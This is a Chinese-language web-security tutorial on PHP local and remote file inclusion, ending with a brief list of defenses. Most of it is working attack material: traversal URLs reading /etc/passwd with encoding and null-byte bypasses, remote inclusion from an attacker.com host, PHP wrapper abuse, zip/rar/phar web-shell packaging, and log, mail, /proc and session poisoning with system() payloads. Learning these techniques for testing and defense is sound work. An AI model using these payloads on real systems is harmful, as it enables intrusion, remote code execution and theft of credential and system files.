文件包含

  1. 文件包含漏洞包括:本地文件包含、远程文件包含
  2. 产生的原因: 后端代码对服务器接受的请求没有经过严格的清理或验证,当用户输入可以逃过后端验证的请求时,该请求被相关的函数所处理,从而导致漏洞发生
  3. 代码中易受攻击的函数:
    1. PHP: require、require_once、include、include_once

目标

  • 如果是本地文件包含,用户很有可能会去读取敏感数据,或者利用某种方式去获取 SHELL
  • 如果是远程文件包含,用户可能会选择获取 SHELL、XSS、DDOS、获取敏感数据

攻击

我们常见到的包含漏洞格式为:

  1. http://10.10.10.10/nav.php?page=../../../../../../../etc/passwd
  2. http://example.com/index.php?page=http://atacker.com/mal.php
  3. http://example.com/index.php?page=\\attacker.com\shared\mal.php

特殊文件

在我们的测试中我们可能会经常面临去查看一些特殊的文件,以下是两个字典以用于进行读取

  1. wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

基本利用

在测试中我们会面临很多不同的测试以及绕过,我们需要了解一些基本的利用手段

代码中使用了一些简单的过滤手段

  1. http://example.com/index.php?page=....//....//....//etc/passwd
  2. http://example.com/index.php?page=....\/....\/....\/etc/passwd
  3. http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
  4. # URL 编码
  5. http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
  6. http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
  7. http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
  8. http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
  9. # 空字节技术
  10. http://example.com/index.php?page=../../../etc/passwd%00
  11. # 代码检测文件夹
  12. http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
  13. # 绝对路径
  14. http://example.com/index.php?page=/etc/passwd

Python Root element

如果在 Python 中出现这样的代码:

  1. # file_name 是用户传参
  2. os.path.join(os.getcwd(), "public", file_name)

如果用户将绝对路径传递给,则先前的路径将被删除file_name

  1. os.path.join(os.getcwd(), "public", "/etc/passwd")
  2. '/etc/passwd'

PHP 伪协议

PHP 有很多包装器,经常被滥用来绕过各种过滤器

我们可以在这里查看 PHP 伪协议 浅谈PHP-伪协议

PHP expect://

PHP expect:// 允许执行系统命令,不幸的是默认情况下没有启用 expect PHP 模块

  1. php?page=expect://ls

PHP://input

有效负载利用 POST 请求发送到服务器

  1. /fi/?page=php://input&cmd=ls

文件包含 - 图1

文件包含 - 图2

php://filter

php://filter 允许渗透测试人员包含本地文件并对输出进行 base64 编码。因此,任何 base64 输出都需要解码才能显示内容

  1. vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
  2. vuln.php?page=php://filter/resource=/etc/passwd

zip:// & rar://

zip 包装器处理服务器端上传的 .zip 文件,允许渗透测试人员使用易受攻击的文件上传功能上传 zip 文件,并通过 LFI 利用 zip 过滤器来执行。

典型的攻击示例如下所示:

  1. 创建一个PHP反向shell
  2. 压缩成.zip文件
  3. 将压缩的shell payload上传到服务器
  4. 使用 zip 包装器提取有效载荷:php?page=zip://path/to/file.zip%23shell
  5. 以上将把zip文件解压到shell,如果服务器没有附加.php,则将其重命名为shell.php
  1. echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
  2. zip payload.zip payload.php;
  3. mv payload.zip shell.jpg;
  4. rm payload.php
  5. http://example.com/index.php?page=zip://shell.jpg%23payload.php
  6. # To compress with rar
  7. rar a payload.rar payload.php;
  8. mv payload.rar shell.jpg;
  9. rm payload.php
  10. http://example.com/index.php?page=rar://shell.jpg%23payload.php

phar://

如果网络使用一些类似 include 的函数来加载文件,那么.phar文件也可以用来执行PHP代码。

  1. <?php
  2. $phar = new Phar('test.phar');
  3. $phar->startBuffering();
  4. $phar->addFromString('test.txt', 'text');
  5. $phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
  6. $phar->stopBuffering();

然后你可以编译phar,执行以下一行

  1. $ php --define phar.readonly=0 create_path.php

一个名为test.phar的文件将被生成,你可以用它来滥用LFI。

如果LFI只是读取文件而不执行里面的php代码,例如使用file_get_contents()、fopen()、file()或file_exists()、md5_file()、filemtime()或filesize()等函数。你可以尝试在使用phar协议读取文件时滥用发生的反序列化。

日志文件污染

日志文件污染是将源代码注入目标系统日志文件的过程。这是通过通过目标系统上的其他公开服务引入源代码来实现的,目标操作系统/服务将存储在日志文件中。例如,将 PHP 反向 shell 代码注入 URL,导致 syslog 在 apache 访问日志中为 404 页面未找到条目创建条目。然后使用先前发现的文件包含漏洞解析 apache 日志文件,执行注入的 PHP 反向 shell。

将源代码引入目标系统日志文件后,下一步是确定日志文件的位置。在渗透测试 Web 服务器的侦察和发现阶段,目标操作系统可能已经被识别,一个好的起点是查找已识别的操作系统和 Web 服务器的默认日志路径(如果它们尚不清楚由顾问)。

一些常见的思路:

Apache/Nginx

如果Apache或Nginx服务器在include函数中存在LFI漏洞,你可以尝试访问 /var/log/apache2/access.log/var/log/nginx/access.log,在用户代理中设置,或在php shell的GET参数中设置,如 <?php system($_GET['c']); ?>并包含该文件。

注意,如果在 shell 中使用双引号而不是简单的引号,双引号将被修改为字符串 “quote;”,PHP 将在这里抛出一个错误,其他的都不会被执行。

另外,要确保正确地写出有效载荷,否则PHP每次试图加载日志文件时都会出错,你不会有第二次机会。

这也可以在其他日志中进行,但要小心,日志里面的代码可能是URL编码的,这可能会破坏Shell。授权头 “basic “包含Base64中的 “user:password”,它在日志中被解码了。PHPShell可能被插入到这个标头里面。

其他可能的日志路径:

  1. /var/log/apache2/access.log
  2. /var/log/apache/access.log
  3. /var/log/apache2/error.log
  4. /var/log/apache/error.log
  5. /usr/local/apache/log/error_log
  6. /usr/local/apache2/log/error_log
  7. /var/log/nginx/access.log
  8. /var/log/nginx/error.log
  9. /var/log/httpd/error_log

测试词表: SecLists/Fuzzing/LFI at master · danielmiessler/SecLists

FTP log

这个 FTP 服务器的日志被保存在 /var/log/vsftpd.log 中。如果你有一个 LFI 并能访问一个暴露的 vsftpd 服务器,你可以尝试在用户名中设置 PHP 有效载荷登录,然后用 LFI 访问日志。

利用电子邮件发送反向 SHELL

如果目标机器直接或通过网络上的另一台机器中继邮件,并在系统上为用户 www-data(或 apache 用户)存储邮件,则可以通过电子邮件向目标发送反向 shell。如果该域不存在 MX 记录但公开了 SMTP,则可以连接到目标邮件服务器并将邮件发送到 www-data / apache 用户。邮件被发送到运行 apache 的用户,例如 www-data 以确保文件系统权限将允许读取访问包含注入的 PHP 反向 shell 代码的文件 /var/spool/mail/www-data。

攻击思路:

  1. 使用已知 UNIX/Linux 帐户名列表枚举目标系统:
    文件包含 - 图3
  2. 向 www-data 用户发送电子邮件
    文件包含 - 图4
  3. 使用 LFI 漏洞执行 SHELL
    文件包含 - 图5
  4. 获取到 SHELL
    文件包含 - 图6

利用 /proc//fd/

  1. 上传大量的 SHELL
  2. 使用 http://example.com/index.php?page=/proc/$PID/fd/$FD,其中$PID = 进程的PID(可以用蛮力强迫),$FD是文件描述符(也可以用蛮力强迫)。

通过 /proc/self/environ 的 LFI

如果可以通过本地文件包含漏洞包含 /proc/self/environ,那么通过 user-agent 引入源代码是一个可能的途径。一旦代码被注入到 user-agent 中,就可以利用本地文件包含漏洞来执行 /proc/self/environ 并重新加载环境变量,从而执行您的反向 shell。

/proc/self/envirom

利用上传

如果你能上传一个文件,只要在其中注入shell有效载荷(例如:<?php system($_GET['c']); ?>

  1. http://example.com/index.php?page=path/to/uploaded/file.png

利用 PHP Sessions

检查网站是否使用PHP Session(PHPSESSID)

  1. Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
  2. Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

在PHP中,这些会话被存储在 /var/lib/php5/sess/[PHPSESSID]_文件中。

  1. /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
  2. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

将cookie设置为 <?php system('cat /etc/passwd');?>

  1. login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

使用LFI来包含PHP会话文件

  1. login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

防御

  • 将系统服务更新为最新版本
  • 关闭一些配置如 PHP 的 allow_url_fopen
  • 设置 WAF
  • 必要情况下对用户的所有输入都要经过验证
  • 对文件名和位置设置白名单和黑名单

工具